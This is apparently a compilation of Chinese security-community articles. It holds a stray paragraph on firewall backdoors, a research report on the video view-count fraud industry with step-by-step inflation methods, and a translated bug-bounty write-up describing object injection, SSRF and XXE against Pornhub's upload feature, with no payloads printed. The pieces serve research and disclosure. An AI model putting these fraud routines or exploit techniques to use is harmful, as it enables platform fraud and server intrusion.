一直以来，非法后门都是一个令人担忧的安全隐患，因为攻击者可以通过这些后门来获取敏感设备的非法访问权限。在此之前，安全人员曾在网络硬件设备制造商Juniper旗下的Netscreen防火墙产品中发现了未经授权的非法代码，Juniper在上个月投下了这枚“[重磅炸弹](http://arstechnica.com/security/2015/12/unauthorized-code-in-juniper-firewalls-decrypts-encrypted-vpn-traffic/)”之后，安全领域的各大生产商便提升了他们对产品后门的审查标准。Juniper产品中未经授权的非法代码允许攻击者悄悄地对经过加密的通信流量进行解密。但Fortinet公司则表示，他们产品中的后门并没有恶意的意图。但毫无疑问的是，攻击者同样可以利用这个后门来截获用户的通讯信息。 | 社区文章 |
# 黑产大数据——在线视频流量欺诈黑灰产研究报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 报告声明
本报告由威胁猎人鬼谷实验室独家编写与发布，报告中所涉及的数据取自威胁猎人TH-Karma业务情报监测平台和互联网公开数据。受限于数据来源、取样方式以及分析方法等因素，本报告中的相关内容与实际情况之间可能存在一定的误差。
本报告版权属威胁猎人（深圳永安在线科技有限公司）所有，并受法律保护，未经许可不得擅自转载、修改或利用其他方式使用报告文字或者观点，如需转载请联系威胁猎人授权。
## 1.报告概述
### 1.1.内容简介
一部影视剧火不火，收视率和播放量似乎成为最直观的指标，太多无论热门与否的在线视频，播放量都能够轻松过亿，影视团队动辄过亿甚至百亿的宣传通稿，似乎彰显着在线影视剧播放量进入百亿时代。
在线视频影视行业蓬勃发展的背后，值得深思的是漂亮的数据背后到底孰真孰假，假数据到底又能带来怎样的恶劣影响。
对于视频平台，刷量所带来最直接的影响，是内容版权分销和付费增值服务资金的损失。其次，如今在线视频行业由传统免费模式逐渐转变为用户付费模式，通过引进优质内容，打造品牌口碑，才能抢占付费会员阵地，而虚假数据的背后，直接干扰了平台对优质内容的引进，影响用户体验导致平台付费用户流失。
对于广告主，播放量的造假会造成IP估值与实际背离，广告商、投资商的项目评估被掺水，不仅广告资金损失没有达到预期的转化效果，长此以往必将会导致商业模式的扭曲和市场的不健康。
对于制片方，表面上作为其中的受益者，其实不然。即便一时获得了炫目耀眼的业绩，也不过是一种自我安慰和麻醉罢了，当制片方不知道哪一类内容是真正受用户喜欢，会对整个影视业带来恶性循环。
不可否认，在线视频虚假播放俨然成为整个行业的痛点。
本报告的重点研究对象为在线视频（长视频）刷量黑灰产业，短视频、直播等其他视频形式相关的黑灰产不在本报告的重点研究范围内。本报告基于威胁猎人的黑产大数据，期望以客观和详实的数据反映当前在线视频流量欺诈的现状，并深入挖掘隐藏在其背后的黑色产业链，从分工内容与模式、刷量成本与收益、刷量方式与方法、团伙特征等多个维度进行阐述和分析。
### 1.2.报告要点
* 刷量主要活跃在头部在线视频平台，从刷量流量占比来看，前三分别为腾讯视频（34.11%）、爱奇艺（27.41%）和优酷（18.55%）。
* 从被刷量的视频类型数据来看，电视剧因剧集多，刷量总数大，因而刷量占比最大，达到72.69%；对于电影而言，更侧重于在上映前后通过刷预告片、宣传片或片花的播放量来提高电影的曝光量，而不是直接刷电影的播放量。
* 从刷量流量源IP角度分析，超过99.95%的流量源于国内IP，覆盖国内各个省市自治区，但有明显的地域聚集倾向，归属于江苏省和北京市的IP数量超过了50%。约有1/4的视频刷量流量源IP归属于各地的IDC机房，且绝大部分为腾讯云主机和百度云主机。
* 研究推测，目前从事在线视频刷量的黑灰产从业人员数十万人，年产值数十亿元。刷量从业人员主要集中在90后，比例超过60%，且集中于我国东部地区。刷量人员多以工作室形式存在，业务种类多，技术更新快，且视频刷量方式多样，特征不一，各有优缺点。数据造假热度由早期的电视收视率造假，转为在线视频播放量造假，而目前在线视频刷量的热度也正在向短视频、直播行业转移。
* 已经有在线视频平台率先并持续性地与视频刷量黑灰产进行着积极地对抗，并且效果显著，但是少数平台的积极对抗并不能给整个视频刷量黑灰产予以重创，需要整个行业通力合作，协同打击。
## 2.在线视频流量欺诈黑灰产行业现状
### 2.1.刷量黑灰产业现状概述
艾瑞咨询预测，我国在线视频行业市场规模预计2020年达到2129.7亿元，预计2016年到2020年的年复合增长率为34.98%。巨大的行业市场产值，除了吸引众多视频内容创作者投身其中，也引起了刷量黑灰产人员的注意。加之法律、监管制度尚待完善，刷量的犯罪成本低、短时间内回报高，吸引大量人员投入到视频刷量的黑灰产业当中。研究推测，目前从事视频刷量的黑灰产从业人员数十万，年产值数十亿元。
虽然少数视频平台针对虚假播放量做出积极对抗，如爱奇艺加强了反刷措施，并宣布关闭前台播放量展示，向“唯播放量”论发起挑战，在一定程度上减少了播放量欺诈行为，但是并没有对整个视频刷量黑灰产业造成太大的影响。
通过威胁猎人TH-Karma业务情报监测平台长期捕获的视频刷量数据来看，被刷量平台主要集中在腾讯视频、爱奇艺、优酷、搜狐视频、bilibili等已占据较大市场份额的头部平台，如下图所示：
究其原因，这些头部平台视频分成机制更加完善，刷量不仅可以牟取更多的视频分成，也可以达到更好的推广效果。
从被刷量的视频类型数据来看，电视剧因剧集多，刷量总数大，因而刷量占比最大，达到72.69%；对于电影而言，更侧重于在上映前后通过刷预告片、宣传片或片花的播放量来提高电影的曝光量，而不是直接刷电影的播放量，详情见下图：
黑灰产的攻击行为会模仿真实用户的行为，以增加厂商对异常流量识别的难度。不论是视频刷量黑灰产，还是广告点击欺诈、文章阅读量造假等，刷量流量会尽可能地符合大众真实用户的访问习惯。下图展示了视频刷量流量24小时内的时间分布情况，刷量高峰时间段为夜间19至23点，并在黄金时间20点达到最高值：
从视频刷量流量源IP角度分析，超过99.95%的流量源于国内IP，广度覆盖国内各个省市自治区，但有明显的地域聚集情况，视频刷量的源IP中，归属于江苏省和北京市的IP数量超过了50%。约有1/4的视频刷量源IP归属于各地的IDC机房，并且绝大部分为腾讯云主机和百度云主机。视频刷量源IP归属地前十省市统计如下图所示：
另外，威胁猎人近期监测到，于2018年12月27日在某视频平台开播的由多个当红流量小生参演的电视剧《*风刀》，开播起一个月内存在上亿次虚假刷量；泰国电影《降服**的手段》于2019年1月16日上映，某泰语翻译字幕组作为幕后推手，欲通过制造每日上千万的宣传片虚假播放量，提高该电影的曝光度。
### 2.2.刷量黑灰产业存在原因
**2.2.1.市场急功近利，需求远大于供给**
在线视频虚假播放量背后牵扯着多方利益，远大于供给的刷量需求，是视频播放量欺诈行为屡禁不止的主要原因。在线视频行业主要涉及三大角色，视频平台、广告投资商、制片方。
制片方是对视频播放量需求最大的一方。最直观的目的，是可以获得视频网站更多的流量和视频分成。高播放量可以提升排名，吸引更多用户观看，自然可以获得更多的流量。对于视频分成，主要包括广告期分成、内容分成、会员付费期分成，而有效的播放量是结算的重要指标。
其次，某些片方与广告主签订了对赌协议，刷量不仅可以避免承担对赌失败的风险，同时虚高的数据也是后续招商的重要资本。
在IP为王的如今，刷量不仅可以辅助片方打造出一部“爆款”影视剧，或者力捧导演与明星，随之高热度IP流量也可带来巨大的附加价值与资源。
刷量可以说是最简单也最立见功效的贴金手段。对于没有大牌明星，没有过硬班底，很多时候网络影视的制作方甚至没有宣传的人力物力，相比其他昂贵的营销推广方案，几元至几十元包一万的访问量可以说是简单高效，但换来的点击分成或贴片广告的价值，却远远溢价。在这种急功近利的模式之下，也就不难理解，为何刷量现象屡禁不止。
#### 2.2.2. **高回报与低风险**
在我们调查研究的过程中，接触到了某P2P挂机刷量平台用户A。用户A向我们介绍了他如何通过挂机刷量的方式日入千元。用户A告诉我们，他在大量机器上部署了超过3000个挂机客户端，平均每日挂机收益百万以上积分。虽然该平台不支持挂机积分直接提现，但是他可通过转赠给其他用户积分的方式间接变现。按照平台充值10元钱=10000积分的规则估算，用户A确实可以轻松日入千元。下图为用户A向我们展示的近期挂机积分收益（关于挂机刷量的详细内容，详见第2.4.3节）：
用户A只是庞大的刷量大军中的一个小小的缩影，对于刷量从业者来讲，敢于铤而走险大肆刷量，一方面是可以快速获取巨额利润，另一方面则是违法成本低。这条产业链上的每个环节基本都是暴利，上游卡商月入超十万甚至百万，刷量工作室都号称每天至少可刷千万级播放量，非法获利也十分可观。但是目前针对视频刷量的法律并不完善，国内首例针对刷量的起诉案件中，某刷量公司对爱奇艺网站至少造成了9.5亿次虚假访问，该公司也承接其他主流视频平台的刷量业务，保守估计非法获利百万以上，但最后仅判赔50万。
### 2.3.刷量黑灰产业链概述
**2.3.1.会员模式与访客模式**
目前主流的视频播放分为两种模式，一是会员登录播放，二是访客模式。两种播放模式下也滋生了两条不同但都分工明确的刷量产业链。
对于会员模式刷量产业链，整个产业链条可以分为下图所示的上中下游三大模块：
会员模式要完成视频刷量，首先要注册大量的平台账号，对上游账号注册环节具体分析如下：
1. 角色与资源
1. 卡商：多以正常业务为幌子，通过各种渠道从运营商或代理商处获取手机卡资源，然后加价出售给下游卡商、接码平台、下游号商赚取差价。其提供的手机卡按类型可分为：虚拟卡/实卡、语音卡/短信卡、海外卡/国内卡、流量卡/注册卡。
2. 接码平台：负责连接卡商和有手机验证码需求的群体，提供软件支持、业务结算等平台服务，通过业务分成获利。
3. 打码平台：主要用来识别图片验证码的平台。在注册视频网站账号的时候，一般会用各种形式验证码来防止机器批量注册，打码平台可以破解这个限制。打码平台可以用软件机器打码，也可以招聘“码工”人工打码。
4. 代理IP：代理IP平台提供大量代理IP资源，使用代理IP作为跳板，可以隐藏自己真实的IP。通过不断切换IP，可以绕过视频平台在IP维度的风控策略。
5. 秒拨机：秒拨机可以理解为拨号VPS，即动态拨号虚拟机，可以通过宽带拨号来切换IP。相对于代理IP，秒拨机拨出的IP为真实宽带拨号IP，对于视频平台来说更难检测和防控。
2. 成本及利润分析
1. 卡商：根据手机卡类型不同，每张手机卡价格不同，部分卡类型平均价格如下：
卡商将黑卡接入接码平台，提供接受手机验证码的服务，根据注册项目不同，每个手机验证码可以获得0.01元至3元不等的收入。
2. 接码平台：除了平台本身的手机卡接码获利以外，另一部分收入为接入卡商收发验证码的收入分成，一般为30%左右。
3. 打码平台：打码价格根据验证码类型及其复杂程度有所不同，以下为某打码平台价格示例：
刷量工作室会从软件开发商购买批量注册爱奇艺、优酷、腾讯视频等视频平台的注册机工具，结合接码平台与打码平台，快速批量注册平台账号，部分工作室也会直接向号商购买大量平台会员账号。最后通过协议破解类刷量工具、群控或者人工刷量等方式，对视频进行播放、点赞、评论等操作。
对于访客模式刷量产业链，与会员模式产业链最大的区别就是，完成视频刷量无需登录账号。访客模式下，对于黑灰产团伙来说，减少了的刷量过程中的账号成本，但对于视频平台来说，缺少用户ID这一检测维度，提升了刷量行为的检测难度。通过对刷量团伙的调研分析，访客模式为目前的主流刷量模式，具体刷量手段详见第2.4节。
**2.3.2.刷量价格**
刷量价格与平台大小和平台风控规则相关，我们综合不同刷量团伙的报价，统计出各大视频平台的刷量平均价格，如下所示：
刷量业务与刷量价格都会随着平台的风控对抗强度和有效性的变化而调整，具有较强的时效性。例如在2018年7月间，爱奇艺加强了反刷措施，部分刷量团伙一度暂停相关业务，直至有卖家宣称有独家不掉量技术，但刷量价格大幅上涨至100元/万次。而在2018年9月3日，爱奇艺宣布关闭前台播放量展示后，许多工作室表示不再承接相关业务。
### 2.4.刷量方式详解
**2.4.1.协议破解：上量高效迅速**
协议破解，即黑灰产通过破解客户端与服务器通信中的通讯协议与算法，伪造相应的请求及参数直接访问通信接口达到刷量目的。
以2018年4月我们捕获到的一款名为“天龙刷视频软件”的最新版工具为例，支持包括优酷、腾讯视频、爱奇艺、芒果TV、乐视视频等多个视频平台的刷量，如下图，软件内部针对芒果TV构造的URL和HTTP请求头：
为了避免单个IP多次访问，这类工具还内置了拨号功能和代理IP网站接口。如下图，该工具可以通过内置的讯代理接口批量获取代理IP，因此单从IP维度无法识别这种刷量行为：
这类工具主要通过用户购买卡密进行充值的方式进行获利，不过由于工具能被外部获取，可以通过逆向调试的方式分析出其核心逻辑，同时也有人对其进行破解放出了免费版，导致目前这类工具基本不再对外售卖，像“天龙刷视频软件”这款工具，目前已经被刷量工作室收购作为内部工具来使用。
**2.4.2.群控：群控升级，黑灰产运营成本降低**
现在不少黑灰产工作室正在使用一种新型群控，我们称之为箱式群控。箱式群控是传统群控的升级变种，相较于传统群控，箱式群控不再需要外接的手机设备，而是直接将多个手机芯片封装在一个机箱中，通过网络将手机屏幕显示在控制电脑上安装的客户端内，削减了手机电池、屏幕等硬件成本，节约了占地空间，箱式群控大小仅为普通台式电脑机箱的四分之一。下图为箱式群控的内部结构：
箱式群控软硬件成套销售，箱式群控软件在稳定性、软硬件兼容性、功能完善性等方面都要明显优于传统群控软件。通过虚拟分割手机芯片内存可实现多开，每个手机芯片可裂变为十部“手机”，可以为每个“多开手机”伪造不同的设备信息，如IMEI、手机定位、本机号码、网络信息等。也可通过电脑客户端操作批量安装App、设置代理IP、修改手机设备信息。箱式群控和传统群控优缺点对比如下：
总之，箱式群控大大降低了黑灰产工作室的人工运营成本，同时解决了传统群控配置复杂、操作繁琐、手机电池损耗等问题。
利用群控刷量，在一定程度上解决了协议破解难度大及人工刷量速度慢的问题，利用自动化脚本批量注册和刷量的大致操作流程如下：
1. 多台手机同时注册账号：
* 利用改机软件伪造设备指纹后打开App点击注册；
* 调用接码平台API，收到并输入手机号，点击收取验证码，等待接码平台返回验证码后输入，完成注册；
* 将账号、密码及改机工具的设备信息记录到文本文件中，返回第一步进行下一轮注册。
2. 多台手机同时刷量：
* 伪造设备指纹，打开视频App(如有需要,还需登录账号)；
* 搜索需要刷量的视频，打开视频，按播放设置开始刷量，完成后返回第一步进行下一轮刷量。视频播放设置包括设置播放时长、设置音量、是否连续播放、选择清晰度、自动刷新与自动清除缓存等。
**2.4.3.** **流量挂机：流量来自全国各地真实用户IP**
流量挂机是根据P2P原理来实现流量优化、视频刷量、刷排名等功能的一种数据造假模式，由两部分角色互相配合完成，挂机用户与流量需求用户。
首先由大量挂机用户下载并运行挂机软件，填入账号或挂机编号，保持在线状态，根据挂机时间和完成的任务数，可以赚取平台的积分，最后变现。而流量用户则是对推广有需求的用户，可以在流量平台上发布任务，服务器将收到的任务请求分配给挂机用户，自动完成刷量任务，且流量数据来自全国各地的真实电脑用户。
1. 挂机用户挂机赚分：某款挂机软件界面如下，下载并登录挂机软件后，选择赚分模式并点击开始赚分，即可自动开始获取任务并自动执行任务，任务执行成功后会获得相应的积分：
2. 流量需求用户发布任务：以某款流量工具为例，介绍任务发布基础设置：
* 视频链接：填写需要优化播放量的视频链接地址；
* 视频名称：填写视频链接以后会自动识别，不需要手动填写；
* 计划播放量：填写视频预刷的日播放量；
* 流量时间控制：有两种方式，分别平滑模式和高速模式：
* 平滑模式：系统0至23点之间自动分配预刷量，一般建议默认，适合不是短时间内急需大量播放量的客户；
* 高速模式：最短时间内完成用户设置的预刷量，一般预计1至6小时以内完成。适合急需短时间内快速提升播放量的用户。
* 设定好各项设置后，保存任务，点击开始可立刻优化任务。
下图为视频刷量任务设置界面：
3. 成本及价格
对于挂机用户来说，一般单个客户端挂机24小时可以赚到几毛至几元不等的收益。挂机赚的收益多少跟很多因素相关，包括但不限于电脑配置、网络情况、电脑系统空闲率、服务器下发的任务数、服务器下发的任务类型、软件上的优化速度设置、软件在线时间等等。
对于流量需求用户来说，视频刷量成本根据所刷视频平台而有所不同，除了播放量基础费用外，根据设置的IP数量、刷量模式等，会在基础流量费用的基础上加收额外费用。以下为某流量挂机平台针对部分视频平台的收费标准：
**2.4.4.** **多开模式：技术门槛最低**
多开模式刷量主要为通过视频窗口多开，达到刷量目的。此模式相对来说，技术难度及成本较低，主要有两种方式：浏览器多开和模拟器多开。
浏览器观看视频，需要清理浏览记录及历史数据，然后开启无痕窗口，使用Flash播放器观看。目前以UC浏览器和360浏览器刷量较为稳定有效，具体刷量流程如下：
1. 打开浏览器，下载自动刷新插件；
2. 打开视频网站，搜索需要刷量的视频；
3. 设置自动刷新时间，必须大于广告时间，一般以2至3分钟为宜；
4. 自动刷新插件必须勾选【自动清除缓存】，设置成功后点击开始即可；
5. 浏览器可以根据电脑性能多开窗口同时刷量，需要将窗口拖出为独立窗 口，且窗口不能最小化；
6. 视频播放不能静音。
通过浏览器多开刷量，对于无需登录视频平台会员账号和利用其他工具辅助即可完成的刷量，刷量可以说是零成本。按照每3分钟刷新一次，浏览器多开25个窗口来估算，每台电脑每小时可完成500次刷量。
模拟器多开是浏览器多开的优化版，通过伪造模拟器参数、结合代理IP等，可以实现在多个模拟器上同时刷量。
为解决单IP封禁问题，某代理客户端内置了老版本Chrome浏览器，可以多开浏览器，并且可以给每个浏览器分配不同的代理IP，如下图所示：
**2.4.5.人工刷量：流量真实有效，难以检测**
当遇到有特定要求的视频刷量任务或刷量难度很大的时候，可以通过人工刷量的方式来完成，人工刷量分为有偿任务派单和免费平台互刷。
刷量任务派单是指，通过QQ群、贴吧等各种渠道召集真实用户，使用自己的账号对特定视频进行观看、点赞、评论等，一个会员一个链接算一个播放量，按照链接数结算，就可以拿到每个链接0.1至0.5元不等的现金奖励。
平台互刷是在刷量互助群内分享需要刷量的视频链接，群成员按照要求互相点击，一般要求看完完整视频。
人工刷量模式完全是真实用户的真实操作，技术上是完全无法检测出来，方法简单且不存在技术壁垒，但是刷量成本相对较高，通过目前监控到的情报来看，此类模式在视频刷量上应用并不广泛。也有工作室号称其刷量方式为纯人工刷量，但是给出的报价远低于成本，这可能仅是工作室的一种宣传手段，最终还是会通过其他低成本的方式来完成刷量。
### 2.5.刷量模式优缺点对比
以上五种刷量模式各有优缺点，我们对其进行对比分析：
### 2.6.刷量特征与反欺诈策略
根据主流视频平台与刷量团伙的攻防对抗，我们总结出以下刷量特征：
视频平台与刷量黑灰产的攻防对抗一直存在，以下为威胁猎人建议的反欺诈策略：
## 3.在线视频流量欺诈黑灰产团伙分析
### 3.1.刷量黑灰产人员群体数据
**3.1.1.规模大小**
威胁猎人通过长期监测视频刷量黑灰产业务，接触视频刷量相关群体，并主动接洽了多个大型的刷量团伙和工作室，了解到某大型工作室每月维护服务器和囤买账号的费用高达百万以上，但很快可以回本，推测目前从事视频刷量的黑灰产从业人员数十万人，年产值数十亿元。
**3.1.2.年龄层次**
从年龄分布来看，刷量从业人员主要集中在90后，占据从业人员比例超过60%。90后不仅作为当代消费的主力军，同样成为当代黑灰产业的主力军。作为较早一批接触互联网的80后，在黑灰产中也占据了将近20%的比例。详情如下图所示：
**3.1.3.地域分布**
下图展示了刷量从业人员的地域分布情况。可以发现，刷量从业人员集中于我国的东部地区，其中北京、广东、河北、浙江、山西占据了地域分布榜单前五名，基本符合经济发展水平和人口密集度分布。由此可见，越是经济发达的地区，互联网犯罪越是多发，相对而言经济欠发达的地区，利用互联网犯罪还未形成规模。详情如下图所示：
### **3.2.多为工作室形式**
刷量从业人员多数以工作室形式存在，工作室成员分工明确，有自己的技术团队、运营团队、销售团队等，工作室成员人数根据公司业务范畴在几十人甚至上百人不等。
我们以某工作室为例，该工作室详细展示了自身的团队成员结构：
### 3.3.业务种类多样化
从事在线视频刷量的工作室团伙，往往并不只进行单一的业务，涉及的业务领域众多，比如微博、新闻网站、公众号、客户端、小红书、抖音等其他推广业务，甚至可以承接国外市场推广。业务范围具有明显的趋利性，如今大热的短视频和直播行业、美妆类App等，是黑灰产工作室重点推广的业务线。以下为某工作室团伙可以承接的业务举例：
某P2P流量挂机平台可承接的业务举例：
### 3.4.技术更新快
专业的刷量从业者可以说对视频网站的风控细节了如指掌，比如某视频平台一周内会调整几次参数、多久重置数据等，除了平台安全团队本身，刷量团伙可能是最为关注平台风控策略的群体。刷量黑灰产人员通常是团队作战，并且拥有自主研发的技术和平台，可以及时应对平台更新的风控策略，研究出新的刷量算法。
以针对某视频平台的一款注册机工具来看，该工具一直有版本迭代更新，更新频率最高可以达到一天5个版本，每一次更新就意味着黑灰产与平台之间的一次对抗博弈：
### 3.5.游走在灰色地带
与电信诈骗、非法贩卖公民信息等具有明确违法犯罪的性质不同的是，刷量一直游走在法律的灰色边缘地带。部分从事广告推广、市场营销、公关活动等正常业务的工作室，也会承接刷量业务，并且刷量业务被包装为所谓的视频数据维护业务，并且工作室有正规的注册信息和网站，部分工作室还能提供合同与正规发票。例如，下图为某视频刷量工作室官网展示的业务范围及介绍：
其中的数字营销业务，就涉及到视频刷量等灰色业务：
## 4.写在最后
流量战争中，视频刷量究竟动了谁的奶酪？
报告一开始就指出，不论是对视频平台，广告主，还是制片方，从长远角度看，都是受害者。整场视频流量的博弈中，刷量黑灰产从业者或许是唯一的受益方。然而在现阶段，由于种种原因，有的群体想与刷量黑灰产对抗，但受限于资源、能力的限制，“有心无力”；另一方面，有的群体却为了短期私利，破坏市场竞争环境，对刷量行为视而不见，甚至在幕后推波助澜，助长黑灰产的气焰。
可喜的是，已经有在线视频平台率先并持续性与视频刷量黑灰产进行着积极地对抗，并且效果显著。下图为爱奇艺2018年下半年遭受的视频刷量攻击走势图，随着该平台在2018年9月份上线包括关闭前台播放量展示的新策略，刷量攻击曾一度出现断崖式下跌：
但是，少数平台的积极对抗并不能给视频刷量黑灰产予以重创，还需整个行业联手，共同净化市场环境。
从整个互联网内容行业的角度来说，刷量都是必须要清除的害群之马。互联网内容行业如何健康持续性发展，有赖于内容展示平台、内容提供方、广告商以及用户等利益相关体之间长久的相互关注与信任。威胁猎人作为一家专业的第三方黑灰产情报研究机构，也会继续关注刷量产业链的发展与变化，并与各方共同努力，为互联网内容行业营造一个健康干净的市场环境。
## 说明
### 1.关于业务情报监测平台TH-Karma:
业务情报监测平台TH-Karma，依托威胁猎人对黑灰产实时布控的能力输出的业务情报监测平台，采用多维度的数据收集和深层次的情报处理体系，为企业提供最及时有效的全景式业务风险感知能力，帮助企业在早期就能发现业务风险并量化对业务的影响，持续对黑产进行多维度监控，做好企业的业务风险侦察兵。
### 2.关于威胁猎人：
威胁猎人是一家以业务安全情报能力见长的创新型安全企业，旨在为客户提供业务攻防情报，从防控到打击的全方位业务安全解决方案。自成立始，公司投入大量资源，打造了一整套国内领先的业务安全情报监控与预警体系，形成强大的黑灰产布控能力，为客户提供黑灰产情报及业务风控解决方案。目前已为腾讯、百度、阿里、华为等近百家全国TOP级互联网企业提供服务。
### 3.联系方式：
商务合作：[email protected]
转载授权：[[email protected]](mailto:[email protected])
公司官网：www.threathunter.cn
联系电话：0755-2660 0293
公司地址：广东省深圳市南山区科华路讯美科技广场3栋15层K室
关注公众号“威胁猎人”并在后台回复关键词“流量欺诈”可获取报告完整版PDF格式 | 社区文章 |
# 【技术分享】我是如何黑掉“Pornhub”来寻求乐趣和赢得10000$的奖金
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://5haked.blogspot.jp/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html>
译文仅供参考，具体内容表达以及含义原文为准。
几个月前，我正在计划一个悠长的假期，因此想找一些零花钱。Pornhub的漏洞赏金计划和它高额的奖励成功引起了我的注意。并且，去黑一个像Pornhub的站是一个真的很炫酷的事情。
文章太长，请谨慎阅读。
这是关于我如何成功在www.pronhub.com上执行命令。
我利用视频上传的callback字段，然后能够成功的在多个Pornhub的站点上去执行一个精心构造过形式的对象注入。通过在一个特定的流中使用SimpleXMLElement类，我能够去执行一个OOB（带外数据）
XXE攻击，如此一来，我可以获取到服务器上所有私有的，本地的文件全部内容。
除了本地文件泄露而外，通过对已创建类的轻微修改，我也能够去在服务器上达到下列核心的能力：
SSRF
Blind SQL执行（在每一个Pornhub的数据库上执行SQL语句，无命令结果回显）
通过利用这三个点的组合，我最终能够在pornhub.com执行任意的代码。
**完整路径的泄露和一些反序列化**
Pornhub是一个基于账户的服务网站，作为网站一个重要的特性，它必须可以上传文件到服务器上。在黑客的眼中，文件上传是一种最主要的攻击面，通常来讲是潜在导致利用的点。
我决定去研究下pornhub.com这个允许注册用户上传图片作为个人图片的特性功能。
服务器成功地取消了我大多数操作文件的琐屑尝试。图片一旦被上传，Pornhub会把上传的图片剪切到一个有效的大小（为了适应用户页面的模板）。一旦我上传图片，尝试去剪切图片，我成功的导致了服务器显示如下的异常信息：
{"success":"ERROR","message":"Unable to make handle from: /home/web1/upload.pornhub.com/htdocs/temp/images/1517/avatarOriginal158936891.png"}.
正如你能清晰从这个高度描述性的错误性信息中所看见的那样，这个异常信息泄露了我上传文件的完整路径信息：
/home/web1/upload.pornhub.com/htdocs/temp/images/1517/avatarOriginal158936891.png
既然我能够去使我上传的图片特定的物理路径泄露，我就有了一个在服务器上我可以支配的可写的目录了。悲剧的是，在联系Pornhub团队报告了这个问题后，他们回复说早前已经有另一个研究人员报告了相同的问题了…
在我更加细致深入的去研究pornhub的上传特性后，我成功地发现服务器会接受一个Cookie作为上传的字段。这个Cookie字段默认包含着一个序列化的用户cookies的PHP数组。
显然，负责去处理上传文件的代码最终列举出在列表里面的成员，如果一个特殊的成员不存在于Request的Cookie header中，就添加一个HTTP
set-cookie的头。
令我纠结的事情却恰好是一个完全来自于用户输入的实用的反序列化利用。为了去扩宽我的攻击向量 –
我需要一个有__toString方法的类（在PHP中，当一个对象转换为字符串时，会自动去调用）
基于我是处于一个黑盒状态下的利用研究 – 我显然没有源代码 – 所以我丝毫不熟悉pornhub运用了哪些php的类，我只能强行去使用原生PHP的内建类。
不幸的是，我没能找到任何有__toString方法不需要去调用类的构造函数的类。所以，我决定放弃这个点，尽管它有巨大的潜在威胁。
虽然这个点对于我来说一定程度上基本没啥用，但是那些盆友们发现这个非常有用：
[https://www.evonide.com/how-we-broke-php-hacked-pornhub-and-earned-20000-dollar/](https://www.evonide.com/how-we-broke-php-hacked-pornhub-and-earned-20000-dollar/)
他们非常幸运！我没能找到如何更好利用这个点的方法，所以我并没有报告这个“来自用户的反序列化”问题。
**上传视频以及有趣的callback**
作为朝着RCE的下一个台阶，我决定去集中注意力在视频上传功能上，出于和上文所详细介绍的原因一样，我继续关注了上传处。
正如之前的文件上传，我所有去利用上传功能的尝试都遭受了惨痛的失败 – pornhub
确实知道如何在部分程度上保护他们的服务器，避免来自用户上传文件的安全威胁。然而，在我尝试的过程中，我发现一个有趣的字段，这个字段叫“callbackUrl”，更确信的是这个字段里包含着一个相当有趣的URL。自然而然，我尝试去访问这个URL，然后得到了一个异常信息：”job”
is invalid。我决定进一步深入去探索下这个job的字段。
我将callbackURL中的URL改为我自己的URL，希望则个字段可以被使用而不是一个白名单字段。令人感到惊喜的是，在改变了这个URL为我自己本地服务器后，我得到了一个连接：
这看上去像一个潜在的SSRF，但是这个请求的源是一个第三方的服务器，并非和pornhub有关的域名或者在Pornhub的IP范围中。这意味着，我可能没办法通过它去访问pornhub内部的服务，而且研究一个第三方的站点有点超出范围了。
无论如何，这个请求给了我关于这个让人期待的job字段的结构的重要信息。似乎job是一个非常长的JSON数组，具体说明了上传文件来提供给更进一步的处理，或许是编码。我的第一次尝试是去操作这个Json来上传一个php
shell，但是我失败了，我都几乎准备要放弃这次行动了…直到…
**对象注入？**
我开始检测这个Json当中的“type”成员，它看上去像一个类的名字。我改变它并发送Json到原有的URL。发现结果相当令人惊喜：
接收到的响应说明了类不存在。这让我得到了一个结论：这是一个类的名称，那么我就有一定可能去执行对象注入。不幸的是，此时此刻一个对象注入事实上是没可能的…
Soapclient：
个人而言，Soapclient是我在处理反序列化数据时最爱的选择：在大部分情况下，它具有暴露关于系统行为的重要信息的潜能（例如：方法名，字段），并且通常允许返回你想获得任何的值，甚至输入那些程序猿从来不打算提供的。
"SoapClient::SoapClient(): $wsdl must be string or null"
这是一个不寻常的错误，因为它是一个构造函数的错误，并不应该在反序列化中调用，这很可能引导我们去相信另一个事实：Pornhub使用着他们自己的反序列化方法。
我尝试着去理解这个不熟悉的反序列化原理是如何去工作的，通过多次不同的尝试，我获得了一些具有提示性的错误，我发现我能够控制所有发送给构造方法的参数。有了这样的发现，我能够创建一个SoapClient设置在我的服务端上的请求，从而取代原有的类。
请求：
我服务端上接收到的请求：
通过使用SoapClient，我现在有能力去：
进行SSRF （服务端请求伪造）
获取到服务端PHP准确的版本信息（返回信息说明服务器PHP的版本为5.6.17）
使用函数来调用原有的类（getResult，无需字段）
我尝试去获得“getResult”的更多的结果，但是每次都失败了。
为了去扩宽我的攻击面，我猜测应该有一种比SoapClient更好的类，所以我试了试使用PHP的默认DirectoryIterator类。
请求和根目录的返回信息：
此时，我本不能访问根目录，但感谢对象注入与DirectoryIterator，我成功的发现了所有“/”下目录的准确列表，并且检测一个目录是否存在。
我尝试将DirectoryIterator放入SoapClient中，但失败了，似乎并不是所有Json当中的成员都会被作为对象进行解码。
**SQLite和PDO**
我偶然发现SQLite3类，其中存在一个filename的字段。
我尝试去使用在第一个漏洞中发现的可写的路径，这样我就能够创建一个空文件了。
为啥是个空文件呢？简单来说，因为我需要它去执行语句，并在这个文件中插入内容（把它当作一个shell来用）。
我需要去调用一个附加的函数来执行实际的语句，来写入文件之中，但是这没有什么可能。
我又试图从PDO中寻找，作为一个潜在的类注入，然而我意识到它依然和SQLite3的类差不多。
尽管我已经被上面的结果折磨的累觉不爱了，但我继续寻找到PHP中另一个有用的内建类。
**SimpleXMLElement**
作为最后一个手段，我决定好好的去看看原生的SimpleXMLElement类，
在黑客术语当中，XML是几乎立刻就能和XXE关联起来的。然而，正如我之前成功获取到安装在这台服务器的PHP版本5.6.17，这个版本的SimpleXMLElement的类，已经成功免疫XXE攻击
– 如果一个外部的实体存在，这个类就会抛出异常并且停止XML处理。因此，我机智的认识到一个基本的XXE在现在这个情况下毫无用处了。
除了对于XXE利用到目前为止这点可怜的成功，SimpleXMLElement构造函数包含了一个可选择的字段，叫“options”，它是用来指定额外的Libxml字段。
这其中有一个字段是“LIBXML_DTDLOAD” – 这个在稍后使我能够去加载外部的DTD并且使用XXE带外数据攻击。
在加强了我的XML技能并且实施了无数种的尝试后，我成功的获得了我的第一个文件！！！
